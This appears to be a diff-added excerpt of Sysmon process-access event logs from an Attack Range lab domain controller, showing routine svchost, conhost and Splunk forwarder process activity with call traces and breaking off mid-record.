+{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.657\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4087-5F2D-0000-001010930500}\r\nTargetProcessId: 1932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:39.657","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4087-5F2D-0000-001010930500}","TargetProcessId":"1932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:39.798\r\nSourceProcessGUID: {90617006-4087-5F2D-0000-001010930500}\r\nSourceProcessId: 1932\r\nSourceThreadId: 3472\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program 